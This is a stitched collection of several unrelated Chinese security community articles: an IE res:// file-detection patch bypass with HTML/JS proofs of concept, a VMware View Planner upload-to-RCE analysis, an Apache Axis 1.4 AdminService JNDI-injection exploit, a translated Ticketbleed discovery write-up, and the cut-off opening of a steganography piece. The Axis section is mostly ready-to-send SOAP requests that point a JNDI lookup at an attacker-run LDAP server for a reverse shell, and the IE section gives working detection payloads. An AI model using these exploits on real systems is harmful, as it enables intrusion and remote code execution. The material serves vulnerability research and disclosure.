上个月，我们一直都在尝试弄清楚攻击者到底是如何通过检测目标系统中应用程序的相关MIME类型来对用户进行攻击的。如果目标计算机中安装了反病毒工具的话，恶意软件将拒绝下载恶意代码。这样一来，攻击者不仅可以保证恶意软件不会被检测工具所检测到，而且还可以在目标主机中潜伏很长的时间。当然了，所有的这一切都发生在浏览器中。虽然厂商及时修复了相关的漏洞，但我们现在仍然可以绕过补丁来实施攻击。我们可以做到的事情，攻击者当然也可以做到。
**漏洞概述**
今天我们要讲解的是另外一个指纹漏洞，这个漏洞将允许攻击者检测目标主机中是否存在某些类型的文件。根据Proofpoint公司的安全研究专家所透露的信息，这个漏洞是一个信息泄露漏洞，此前有很多不同的恶意广告活动和漏洞利用工具都利用了这个漏洞来实施攻击。目前，微软公司已经成功修复了这个漏洞。
在2015年10月至12月期间，Proofpoint公司的安全研究专家发现了至少两个信息泄露漏洞（[CVE-2016-3351](https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3351)和[CVE-2016-3298](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3298)），并且已经将漏洞细节提交给了微软公司。微软于2016年9月份修复了漏洞CVE-2016-3351，并且在2016年10月份修复了漏洞CVE-2016-3298。但不幸的是，黑客在不到一天的时间里就成功绕过了这两个补丁。
**利用漏洞CVE-2016-3298**
我们可以加载目标文件的内部资源，并通过检查类似onload/onreadystate/onerror这样的事件是否发生来检测主机中是否存在某些目标文件（exe、dll和cpl等等），这种方法也是目前攻击者最为常用的方法。实际上，IE浏览器会使用内部资源来加载信息页面、错误信息、以及某些插件图标。虽然这些资源嵌入在二进制文件之中，但是我们也可以单独加载这些资源。
最常见的一个例子就是当我们尝试在IE浏览器中加载无效的URL资源时，IE浏览器会显示一个错误页面。比如说，当我们在浏览器地址栏中输入网址“http://invalidsite”之后，IE浏览器就会将如下图所示的页面显示给我们：
我们看得懂这个URL地址，但是浏览器不一定看得懂，而这个页面很明显跟我们输入的网址没有任何关系。接下来，我们可以通过检查该页面的属性来找出该页面真正的URL地址：在页面空白处点击鼠标右键，然后在弹出的菜单中选择“页面属性”，浏览器便会将关于该页面的信息显示出来：
**加载资源**
正如我们所看到的那样，该页面的内容来自于“res://ieframe.dll/dnserror.htm#http://invalidsite/”，其中“res:”表示的是资源，而这是IE浏览器用来从二进制文件中加载内部资源所用的方法。默认情况下，浏览器会假设资源文件存在于目录“windows/system32”之中，但是我们也可以修改这个路径。比如说，如果我们安装了Fiddler，我们就可以轻易地找出其中的一个有效资源，并将其提供给IE浏览器。接下来，我们就可以通过检测readystate事件来查看资源是否加载成功了。
如果你使用的是Resource
Hacker这样的免费工具，那么你就可以直接读取到资源的名称和内容，并将它们以图片或者HTML文件的形式进行加载。为了进行简单的演示，我们在Resource
Hacker中打开并查看dnserror.htm的内容，具体如下图所示：
实际上，我们根本不需要通过Resource
Hacker来查找有效资源，因为二进制文件中的默认资源都有固定不变的值。比如说，所有二进制文件的“文件信息”都可以通过资源“/16/1（16 ==
RT_VERSION）”来查找。需要注意的是，我们完全不必检索每一个需要进行测试的文件，因为我们可以直接通过加载默认资源来实现我们的目的。比如说，我们可以向Fiddler提供资源的默认信息，而下面这段指令将会触发一个readystatechange事件。
res://c:Program Files (x86)Fiddler2Fiddler.exe/16/1
**安装补丁之前的PoC**
为了利用这个漏洞，我们应该在一个iFrame中加载资源，并且记录下onreadystate事件被触发的次数。如果该事件被触发了一次，则说明目标文件存在；如果被触发了两次，则说明该文件不存在。
关键代码如下所示，如果你愿意的话，你也可以直接下载一个可用的PoC[[下载地址](https://goo.gl/4vW2U3)-密码：infected]。
<iframe src="res://c:Program Files (x86)Fiddler2Fiddler.exe/16/1" onreadystatechange="count++"></iframe>
<script>
count = 0;
// This onload gives the iFrame a bit of time to load.
// But has nothing to do with the method itself
window.onload = function()
{
if (count == 1) alert("File exists!");
else alert("File does not exist");
}
</script>
**改进PoC**
上面的这个PoC在上周之前还是可以正常工作的，但是因为微软在上周修复了这个漏洞，所以我们现在就得通过其他的方法来利用这个漏洞了。首先，让我们来看一看攻击者是怎么实现的。关键代码如下图所示：
在这里，恶意软件的作者使用了三种不同的技术来检测某一本地文件是否存在，但是漏洞现在已经被微软修复了。在上面这段代码中，第一个引起我注意的就是“mhtml:file”，因为即使IE禁用了“file:protocol”，但是mhtml仍然可以正常工作。于是我脑海中闪现了一个念头：虽然“mhtml:file”和“res://”已经无法使用了，但如果将mhtml和res配合使用的话，会不会产生意想不到的效果呢？
如果你正在使用IE浏览器的话，你可以直接在线体验一下这个漏洞[[传送门]](http://www.cracking.com.ar/demos/res/)。关键代码如下所示：
<iframe src="mhtml:res://c:Program Files (x86)Fiddler2Fiddler.exe/16/1" onload="count++"></iframe>
<script>
count = 0;
window.onload = function()
{
if (count == 1) alert("File exists!");
else alert("File does not exist");
}
</script>
如果你想深入了解这个漏洞和相关的补丁程序，或者你想寻找其他绕过方法的话，我建议你下载免费版的IDA，然后尝试一下我们在之前利用mimeType漏洞时所使用的方法[[传送门]](https://www.brokenbrowser.com/detecting-apps-mimetype-malware/)，你也许可以从中得到一些启发。
我们现在已经知道的是，IE浏览器会非常乐意去加载类似“res://ieframe.dll”这样的东西，所以我们就可以找出这部分代码，然后看看是否能够利用这些代码来做更多有意思的事情。我直接告诉你吧，我们所要寻找的函数名为“IsIEResourcePage”。
接下来，我们要修改iFrame的location，并且要与之前设置为“res://ieframe.dll”时的返回值进行对比。
如果你懒得对返回数据进行手动对比的话，你也可以使用JavaScript脚本来完成这个任务。我在这里要跟大家分享一个小秘诀：当你在研究的过程中，最好使用window.open方法来修改iframe的location，尽量不要使用iframe.location。如果我们使用常规的修改方法，例如location.href和location.replace等方法，那么IE浏览器很可能会拒绝加载资源，此时浏览器将会返回一个“about:blank”页面。
关键代码如下所示：
<iframe name="ifr"></iframe>
<script>
// No errors, about:blank loaded in iFrame, very slow.
ifr.location = "res://testing.dll";
// Access Denied, nothing changes in the iFrame, super-fast.
window.open("res://testing.dll", "ifr");
// This last option can be used with a try/catch creating
// a battery of tests that will immediately return
// the result.
</script>
**总结**
没错，即使是官方发布了某一漏洞的修复补丁，也并不意味着这个漏洞就无法再被利用了。我之所以要撰写这篇文章，其中一个原因就是我想要将我所发现的东西分享给大家，以供大家学习和参考。但是我最重要的一个目的就是为了让微软公司认识到这个漏洞的严重性，希望他们能够更加重视这种类型的漏洞，并提升这类漏洞的威胁等级。
攻击者就是这样，当某个漏洞“被修复”之后，他们又会立刻尝试去寻找新的漏洞利用方法。在信息安全这个领域内，这种“猫捉老鼠”的游戏几乎是永无止境的。最后，安全客祝大家挖洞愉快！ | 社区文章 |
**作者：水泡泡@知道创宇404积极防御实验室
日期：2021年3月5日**
### 0x01 漏洞描述
View Planner是VMware官方推出的一款针对view桌面的测试工具，通过这个测试工具可以估算出在指定的应用环境下可以发布多少个view桌面。
View Planner 的logupload端点缺乏输入验证，导致具有查看View Planner
Harness网络访问权限的未经授权的攻击者可以上载和执行精心编制的文件，从而导致在logupload容器中执行远程代码。
影响范围：VMware View Planner <=4.6.0
### 0x02 环境安装
下载镜像：
[https://my.vmware.com/group/vmware/downloads/details?downloadGroup=VIEW-PLAN-460&productId=1067&rPId=53394](https://my.vmware.com/group/vmware/downloads/details?downloadGroup=VIEW-PLAN-460&productId=1067&rPId=53394) （选择View Planner Harness ）
下载需要注册一个账号且下载需要审核，需要等待一段时间，这里分享我已经下载好的：
链接: <https://pan.baidu.com/s/1aeNW1HUyCkZze1bs7vplzg>
提取码: vv42
使用VMware直接加载ova文件，安装过程中按照提示初始化 ssh root账号的初始密码，成功搭建。
### 0x03 漏洞复现
按照twitter上公开的POC，向logupload端点构造请求包（路径使用相对路径即可）。
其中上传的文件内容是`log_upload_wsgi.py`的源文件，但添加了执行命令的代码，在上传成功之后，再请求一次logupload端点，收到curl请求，命令执行成功。
至此漏洞复现成功。
### 0x04漏洞分析
在分析之前，先简单讲一下View Planner的部署架构。
View Planner
的web服务由docker搭建提供，其中80，443端口的内容由appacheServer容器提供，而8081由crossbar容器提供，为ws服务，主要处理登陆后的后端交互逻辑。
ssh 到 viewplanner虚拟机，scp将`/root/viewplanner` 源码拉出来，全局搜索logupload。
可以看到apache
配置文件配置了logupload端点的指向文件为`/etc/httpd/html/wsgi_log_upload/log_upload_wsgi.py`
其路径`/etc/httpd/html/` 实际是容器内的路径，对应宿主机的`/root/viewplanner/httpd`
定位到`/root/viewplanner/httpd/wsgi_log_upload/log_upload_wsgi.py` 文件。
代码很简单，从cgi中获取`logfile`
和`logMetaData`两个参数数据，如果`logMetaData`参数传入了`json`数据，则从`json`数据中获取`itrLogPath`和`logFileType`两个键值，随之将`itrLogPath`和`logFileType`与`resultBasePath`
进行路径拼接，判断路径是否存在，不存在则创建，
之后判断`logfile`是否为上传文件，上传了文件，如果`logFileType`参数的值不等于`workloadLogsZipFile`
则直接将`resultBasePath`，`itrLogPath`，`logFileType`三个参数的值进行路径拼接，并进行文件写入。
由于缺少路径规范过滤，只需要稍微构造一下数据包即可上传恶意文件到任意路径，从而可以覆盖`log_upload_wsgi.py`
文件，达到远程代码执行的效果。
### 0x05 补丁分析
至此漏洞分析完毕，下载官方补丁进行对比分析（左补丁）：
加入了个password参数也就是使用`loguplaod`这个端点需要密码才可以访问，但取的`secret_key`来自于`wsgi.config`，硬编码值为：`vmware-viewplanner-ca$hc0w`，有点掩耳盗铃的味道；
不过后面代码，对拼接后的路径使用normpath进行路径规范化，并用`startswith`限制写入的文件必须在
`/etc/httpd/html/vpresults`目录下，也就没法再跨路径上传文件，至此此漏洞算是修复完成了。
### 0x06 总结
此系统暴露在外网的IP非常少，大多数在内网，漏洞简单但危害严重，建议广大管理员赶快升级，避免在即将到来的行动中失分。
* * * | 社区文章 |
最近利用一个漏洞Axis 1.4 adminservice开启远程访问下可新建服务执行任意方法,
写文件出现问题可试试本文利用默认包中的jndi注入恶意class执行反弹shell
## 0x01 漏洞形成前提
AdminService enableRemoteAdmin == True
## 0x02 本地搭建
axis bin包解压后将webapps下axis复制到tomcat环境下的webapps目录下：
<http://mirror.navercorp.com/apache/axis/axis/java/1.4/>
### 1\. 更新环境变量
执行本地构建命令时需要环境变量找到jar包路径
vim ~/.profile
export AXIS_HOME=/var/lib/tomcat8/webapps/axis
export AXIS_LIB=$AXIS_HOME/WEB-INF/lib
export AXISCLASSPATH=$AXIS_LIB/axis.jar:$AXIS_LIB/commons-discovery-0.2.jar:$AXIS_LIB/commons-logging-1.0.4.jar:$AXIS_LIB/jaxrpc.jar:$AXIS_LIB/saaj.jar:$AXIS_LIB/log4j-1.2.8.jar:$AXIS_LIB/xml-apis.jar:$AXIS_LIB/xercesImpl.jar:$AXIS_LIB/wsdl4j-1.5.1.jar
source ~/.profile
### 2.开启RemoteAdmin服务
webapps/axis/WEB-INF/deploy.wsdd
<deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="AdminService" provider="java:MSG">
<parameter name="className" value="org.apache.axis.utils.Admin"/>
<parameter name="allowedMethods" value="*"/>
<parameter name="enableRemoteAdmin" value="true"/>
</service>
</deployment>
### 3.部署刷新配置
java -cp $AXISCLASSPATH org.apache.axis.client.AdminClient deploy.wsdd
## 0x03 源码找到一处jndi调用
### 1.检索所有默认可用的jar包：
其中发现org.apache.axis.client.ServiceFactory下getService服务中进行了context.lookup操作，也就是说我们注册这个方法并调用传递恶意ldap服务即可完成攻击：
## 0x04 利用过程
### 1.注册服务：
POST /axis/services/AdminService HTTP/1.1
Host: 192.168.123.136:8080
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 737
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soapenv:Body>
<ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/" xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<ns1:service name="test1Service" provider="java:RPC">
<ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
### 2.调用jndi服务：
访问创建的test1Service进行jndi注入：
POST /axis/services/test1Service HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.123.136:8080/axis/servlet/AxisServlet
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,zh-CN;q=0.8
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: 192.168.123.136:8080
Content-Length: 720
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:buil="http://build.antlr">
<soapenv:Header/>
<soapenv:Body>
<buil:getService soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<environment xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xsi:type="apachesoap:Map">
<item>
<key xsi:type="soapenc:string">jndiName</key>
<value xsi:type="soapenc:string">ldap://[vps_adress]:1389/Reverse1</value>
</item>
</environment>
</buil:getService>
</soapenv:Body>
</soapenv:Envelope>
### 3.marshalsec ldap 反弹shell：
### 4.卸载服务:
POST /axis/services/AdminService HTTP/1.1
Host: 192.168.123.136:8080
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 463
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<undeployment xmlns="http://xml.apache.org/axis/wsdd/">
<service name="test1Service"/>
</undeployment>
</soapenv:Body>
</soapenv:Envelope>
## 0x05 参考链接
<https://axis.apache.org/axis/java/install.html> | 社区文章 |
# 【技术分享】如何发现F5 BIG-IP设备的TicketBleed漏洞
|
##### 译文声明
本文是翻译文章，文章来源：blog.filippo.io
原文地址：<https://blog.filippo.io/finding-ticketbleed/ >
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
Ticketbleed（CVE-2016-9244）是存在F5产品的TLS堆栈中的软件漏洞，它允许远程攻击者一次性提取多达31个字节的未初始化内存数据，像Heartbleed一样,它可以包含任意的敏感信息。
如果您不确定是否会受到此漏洞的影响，您可以在[ticketbleed.com](https://ticketbleed.com/)（包含在线测试）或[F5
K05121675文章](https://support.f5.com/csp/article/K05121675)中找到详细信息和缓解说明。
在这篇文章中，我们将讨论如何找到，验证和披露Ticketbleed。
**
**
**JIRA RG-XXX**
这要从CloudFlare [Railgun](https://www.cloudflare.com/website-optimization/railgun/)产生的一个错误报告说起。
rg-listener <> 原始请求失败,错误命令是"local error: unexpected message"
rg-listener <> 原始流量包被记录并显示在握手之间触发了一个TLS警告.
值得注意的是客户在Railgun 和原始服务器之前使用了一个F5的负载均横: visitor > edge > cache > rg-sender > F5
> rg-listener > F5 > origin web server
Matthew不可能在Go中使用一个基本的TLS.Dial 来复现它，所以问题似乎很棘手
Railgun的位置：Railgun通过建立永久优化的连接并对HTTP响应执行增量压缩来加速Cloudflare edge和原始网站之间的请求。
Railgun连接使用基于TLS的自定义二进制协议，两个终端都是Go程序：一个终端位于Cloudflare
edge，另一个安装在客户服务器上。这意味着整个连接都要通过Go TLS栈,crypto/tls。
连接失败的错误代码是:local error: unexpected message,这意味着客户端发送了一些Railgun的Go
TLS堆栈无法处理的数据。由于客户端在Railgun和我们之间运行着F5负载均衡，这也表明Go TLS栈和F5之间存在不兼容性。
但是，当我的同事Matthew试图使用crypto/tls.Dial连接到负载均衡上来重现错误时，它成功了。
深入分析PCAP
由于Matthew正坐在我对面，他知道我一直在使用Go TLS协议来实现TLS 1.3。于是我们很快完成了联合调试。
下面是我们分析的PCAP。
上图中有ClientHello和ServerHello数据包,然后马上发送ChangeCipherSpec消息。在TLS
1.2中,ChangeCipherSpec代表的意思就是”让我们开始加密吧”。只有一种情况,ChangeCipherSpec会在握手之前先发送,那就是会话复用。
事实上，通过观察ClientHello，我们可以发现Railgun客户端发送了一个Session Ticket。
Session Ticket携带着先前会话的一些加密密钥信息,来告诉服务器复用先前会话，而不是协商新的会话。
要了解有关TLS 1.2会话复用的更多信息，请阅读[Cloudflare Crypto Team TLS
1.3Take](https://blog.cloudflare.com/tls-1-3-explained-by-the-cloudflare-crypto-team-at-33c3/)的第一部分,阅读副本或Cloudflare博客上的[“TLS会话复用”的帖子](https://blog.cloudflare.com/tls-session-resumption-full-speed-and-secure/)。
在发送ChangeCipherSpec消息之后，Railgun和Wireshark变的不知所错（HelloVerifyRequest？Umh？）。所以我们有理由确定这个问题与Session
Ticket有关。
在Go中，您需要在客户端上设置ClientSessionCache来显式开启Session
Ticket。我们验证Railgun开启了这个功能，并写了这个小测试：
package main
import (
"crypto/tls"
)
func main() {
conf := &tls.Config{
InsecureSkipVerify: true,
ClientSessionCache: tls.NewLRUClientSessionCache(32),
}
conn, err := tls.Dial("tcp", "redacted:443", conf)
if err != nil {
panic("failed to connect: " + err.Error())
}
conn.Close()
conn, err = tls.Dial("tcp", "redacted:443", conf)
if err != nil {
panic("failed to resume: " + err.Error())
}
conn.Close()
}
这足以证明错误的发生(local error: unexpected message)与Session Ticket有关。
**
**
**深入分析crypto/tls**
只要我们能在本地重现它,就能弄懂它。crypto/tls的错误消息缺少详细的信息，但是快速的调整允许我们精确定位错误在哪里发生。
每次发生错误时，都会调用setErrorLocked记录错误，并确保所有后续操作失败。该函数通常从错误的站点调用。
我们应该在panic(err)处进行堆栈跟踪，它会告诉我们消息在哪出现异常。
diff --git a/src/crypto/tls/conn.go b/src/crypto/tls/conn.go
index 77fd6d3254..017350976a 100644
--- a/src/crypto/tls/conn.go
+++ b/src/crypto/tls/conn.go
@@ -150,8 +150,7 @@ type halfConn struct {
}
func (hc *halfConn) setErrorLocked(err error) error {
- hc.err = err
- return err
+ panic(err)
}
// prepareCipherSpec sets the encryption and MAC states
panic: local error: tls: unexpected message
goroutine 1 [running]:
panic(0x185340, 0xc42006fae0)
/Users/filippo/code/go/src/runtime/panic.go:500 +0x1a1
crypto/tls.(*halfConn).setErrorLocked(0xc42007da38, 0x25e6e0, 0xc42006fae0, 0x25eee0, 0xc4200c0af0)
/Users/filippo/code/go/src/crypto/tls/conn.go:153 +0x4d
crypto/tls.(*Conn).sendAlertLocked(0xc42007d880, 0x1c390a, 0xc42007da38, 0x2d)
/Users/filippo/code/go/src/crypto/tls/conn.go:719 +0x147
crypto/tls.(*Conn).sendAlert(0xc42007d880, 0xc42007990a, 0x0, 0x0)
/Users/filippo/code/go/src/crypto/tls/conn.go:727 +0x8c
crypto/tls.(*Conn).readRecord(0xc42007d880, 0xc400000016, 0x0, 0x0)
/Users/filippo/code/go/src/crypto/tls/conn.go:672 +0x719
crypto/tls.(*Conn).readHandshake(0xc42007d880, 0xe7a37, 0xc42006c3f0, 0x1030e, 0x0)
/Users/filippo/code/go/src/crypto/tls/conn.go:928 +0x8f
crypto/tls.(*clientHandshakeState).doFullHandshake(0xc4200b7c10, 0xc420070480, 0x55)
/Users/filippo/code/go/src/crypto/tls/handshake_client.go:262 +0x8c
crypto/tls.(*Conn).clientHandshake(0xc42007d880, 0x1c3928, 0xc42007d988)
/Users/filippo/code/go/src/crypto/tls/handshake_client.go:228 +0xfd1
crypto/tls.(*Conn).Handshake(0xc42007d880, 0x0, 0x0)
/Users/filippo/code/go/src/crypto/tls/conn.go:1259 +0x1b8
crypto/tls.DialWithDialer(0xc4200b7e40, 0x1ad310, 0x3, 0x1af02b, 0xf, 0xc420092580, 0x4ff80, 0xc420072000, 0xc42007d118)
/Users/filippo/code/go/src/crypto/tls/tls.go:146 +0x1f8
crypto/tls.Dial(0x1ad310, 0x3, 0x1af02b, 0xf, 0xc420092580, 0xc42007ce00, 0x0, 0x0)
/Users/filippo/code/go/src/crypto/tls/tls.go:170 +0x9d
让我们看看异常的消息警报会发送到哪里conn.go:672。
670 case recordTypeChangeCipherSpec:
671 if typ != want || len(data) != 1 || data[0] != 1 {
672 c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
673 break
674 }
675 err := c.in.changeCipherSpec()
676 if err != nil {
677 c.in.setErrorLocked(c.sendAlert(err.(alert)))
678 }
所以异常的消息是ChangeCipherSpec。让我们检查上一级的堆栈,看看是否有线索。让我们看看handshake_client.go:262。
259 func (hs *clientHandshakeState) doFullHandshake() error {
260 c := hs.c
261
262 msg, err := c.readHandshake()
263 if err != nil {
264 return err
265 }
这是doFullHandshake函数。等等，这里的服务器显然正在进行会话复用（在Server Hello之后立即发送一个Change Cipher
Spec），而客户端正在尝试进行完整握手？
看起来情况是,客户端提供Session Ticket，服务器接受它，但是客户端并不知道并继续执行下去。
**深入RFC**
在这一点上，我查阅了TLS 1.2的相关信息,以了解服务器是如何表示接受Session Ticket？
[RFC 5077](https://tools.ietf.org/html/rfc5077),过时的RFC 4507：
当携带一个ticket时,客户端会在TLS ClientHello中生成并包含一个Session ID. 如果服务器接收了ticket并且Session
ID不为空,它必须马上返回与ClientHello相同的Session ID.
因此，客户端不应该猜测是否Session Ticket会被接受, 客户端应该发送一个Session ID并在服务器的回显中查找这个Session ID。
crypto/tls中的代码很明显的说明了这一点。
func (hs *clientHandshakeState) serverResumedSession() bool {
// If the server responded with the same sessionId then it means the
// sessionTicket is being used to resume a TLS session.
return hs.session != nil && hs.hello.sessionId != nil &&
bytes.Equal(hs.serverHello.sessionId, hs.hello.sessionId)
}
**深入分析Session IDs**
一定是这里出错了。让我们加入一些基于打印输出的调试。
diff --git a/src/crypto/tls/handshake_client.go b/src/crypto/tls/handshake_client.go
index f789e6f888..2868802d82 100644
--- a/src/crypto/tls/handshake_client.go
+++ b/src/crypto/tls/handshake_client.go
@@ -552,6 +552,8 @@ func (hs *clientHandshakeState) establishKeys() error {
func (hs *clientHandshakeState) serverResumedSession() bool {
// If the server responded with the same sessionId then it means the
// sessionTicket is being used to resume a TLS session.
+ println(hex.Dump(hs.hello.sessionId))
+ println(hex.Dump(hs.serverHello.sessionId))
return hs.session != nil && hs.hello.sessionId != nil &&
bytes.Equal(hs.serverHello.sessionId, hs.hello.sessionId)
}
00000000 a8 73 2f c4 c9 80 e2 ef b8 e0 b7 da cf 0d 71 e5 |.s/...........q.|
00000000 a8 73 2f c4 c9 80 e2 ef b8 e0 b7 da cf 0d 71 e5 |.s/...........q.|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
F5服务器将Session ID填充到它的最大长度32字节，而不是当客户端发送它时再返回它。crypto / tls在Go中使用16字节会话ID。
从这里看错误就很明显了：服务器认为它告诉客户端使用Ticket而客户端认为服务器启动了新会话，于是意外就发生了。
在TLS空间中，我们发现了一些不兼容性。为了[不与某些服务器实现发生冲突](https://bugs.chromium.org/p/chromium/issues/detail?id=315828),ClientHellos必须小于256字节或大于512字节。
00000000 79 bd e5 a8 77 55 8b 92 41 e9 89 45 e1 50 31 25 |y...wU..A..E.P1%|
00000000 79 bd e5 a8 77 55 8b 92 41 e9 89 45 e1 50 31 25 |y...wU..A..E.P1%|
00000010 04 27 a8 4f 63 22 de 8b ef f9 a3 13 dd 66 5c ee |.'.Oc".......f.|
噢哦。等等。这些不是零也不是填充。那是…内存？
在这一点上，和Heartbleed的处理类似。服务器申请和客户端的会话ID一样大的缓冲区，然后总是返回32个字节的数据，在额外的字节里携带着未分配的内存数据。
**深入浏览器**
我最后一个疑问是：为什么之前没有发现这个漏洞？
答案是:所有浏览器使用32字节的SESSION ID来协商SESSION TICKET。我和Nick
Sullivan一起检查了NSS，OpenSSL和BoringSSL来确认这个问题。[以BoringSSL](https://github.com/google/boringssl/blob/33fe4a0d1406f423e7424ea7367e1d1a51c2edc1/ssl/handshake_client.c#L1901-L1908)为例。
/* Generate a session ID for this session based on the session ticket. We use
* the session ID mechanism for detecting ticket resumption. This also fits in
* with assumptions elsewhere in OpenSSL.*/
if (!EVP_Digest(CBS_data(&ticket), CBS_len(&ticket),
session->session_id, &session->session_id_length,
EVP_sha256(), NULL)) {
goto err;
}
BoringSSL使用SHA256作为SESSION TICKET，正好是32个字节。
(有趣的是，在TLS中，有人提到使用1字节的SESSION ID，但是没有人对它进行测试。)
至于Go，可能是客户端没有启用SESSION TICKET。
**深入披露**
在意识到这个问题的影响之后，我们在公司内部进行了分享,我们的支持团队会建议客户禁用SESSION TICKET，并试图联系F5。
我们与F5 SIRT联系，交换PGP密钥，并提供报告和PoC。
报告已提交给开发团队，确定问题是未初始化的内存，但是仅限于Session Ticket功能。
目前还不清楚哪些数据可以通过此漏洞泄露，但是HeartBleed和[Cloudflare Heartbleed
Challenge](https://blog.cloudflare.com/the-results-of-the-cloudflare-challenge/)告诉我们未初始化的内存是不安全的
在规划时间表时，F5团队面临着严格的发布计划。综合考虑多种因素，包括有效的缓解（禁用Session Ticket），我决定采用由[Google's
Project
Zero发布的业界标准的披露政策](https://googleprojectzero.blogspot.co.uk/2015/02/feedback-and-data-driven-updates-to.html)：在115天之后,如果漏洞没有被修复,就会被披露。
巧合的是今天正好是计划发布修复补丁的截至日期。
我要感谢F5 SIRT的专业性，透明度和协作性，这和我们在业内经常听到的对抗性形成鲜明对比。
该漏洞已分配CVE-2016-9244。
**
**
**深入互联网**
当我们向F5报告问题时，我已经针对单个主机测试了该漏洞，该主机在禁用Session
Ticket后很快变得不可用。这意味着漏洞具有低信度，并且没有办法再现它。
这是进行互联网扫描的绝佳场合。我选择了由密歇根大学授权Censys.io的工具包：zmap和zgrab。
zmap是一种用于检测开放端口的IPv4空间扫描工具，而zgrab是一种Go工具，通过连接到这些端口并收集大量协议详细信息来进行跟踪。
我在zgrab添加对Session
Ticket复用的支持，然后让zgrab发送一个31字节的会话ID，并将其与服务器返回的ID进行比较。我写了一个简单的Ticketbleed检测器。
diff --git a/ztools/ztls/handshake_client.go b/ztools/ztls/handshake_client.go
index e6c506b..af098d3 100644
--- a/ztools/ztls/handshake_client.go
+++ b/ztools/ztls/handshake_client.go
@@ -161,7 +161,7 @@ func (c *Conn) clientHandshake() error {
session, sessionCache = nil, nil
hello.ticketSupported = true
hello.sessionTicket = []byte(c.config.FixedSessionTicket)
- hello.sessionId = make([]byte, 32)
+ hello.sessionId = make([]byte, 32-1)
if _, err := io.ReadFull(c.config.rand(), hello.sessionId); err != nil {
c.sendAlert(alertInternalError)
return errors.New("tls: short read from Rand: " + err.Error())
@@ -658,8 +658,11 @@ func (hs *clientHandshakeState) processServerHello() (bool, error) {
if c.config.FixedSessionTicket != nil {
c.resumption = &Resumption{
- Accepted: hs.hello.sessionId != nil && bytes.Equal(hs.serverHello.sessionId, hs.hello.sessionId),
- SessionID: hs.serverHello.sessionId,
+ Accepted: hs.hello.sessionId != nil && bytes.Equal(hs.serverHello.sessionId, hs.hello.sessionId),
+ TicketBleed: len(hs.serverHello.sessionId) > len(hs.hello.sessionId) &&
+ bytes.Equal(hs.serverHello.sessionId[:len(hs.hello.sessionId)], hs.hello.sessionId),
+ ServerSessionID: hs.serverHello.sessionId,
+ ClientSessionID: hs.hello.sessionId,
}
return false, FixedSessionTicketError
}
选择31字节的原因是我可以确保不泄露敏感信息。
然后，我从Censys网站下载最近的扫描结果，其中包括什么主机支持Session Ticket信息，并使用pv和jq完成了管道。
在11月份的Alexa top 1m列表中的前1,000个主机中有2个存在漏洞，我中断了扫描，避免泄露漏洞，并推迟到了披露日期。
在完成这篇指导时，我完成了扫描，0.1％和0.2％的主机容易受到攻击，0.4％的网站支持Session Ticket。
**阅读更多**
欲了解更多详情，请访问[F5
K05121675文章](https://support.f5.com/csp/article/K05121675)或[ticketbleed.com](https://ticketbleed.com/)，在那里你会发现一个技术总结，受影响的版本，缓解指令，一个完整的时间表，扫描结果，扫描机器的IP地址，并可以进行在线测试。
否则，你应该[关注我的Twitter](https://twitter.com/FiloSottile)。 | 社区文章 |
# 空域隐写术检测分析（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
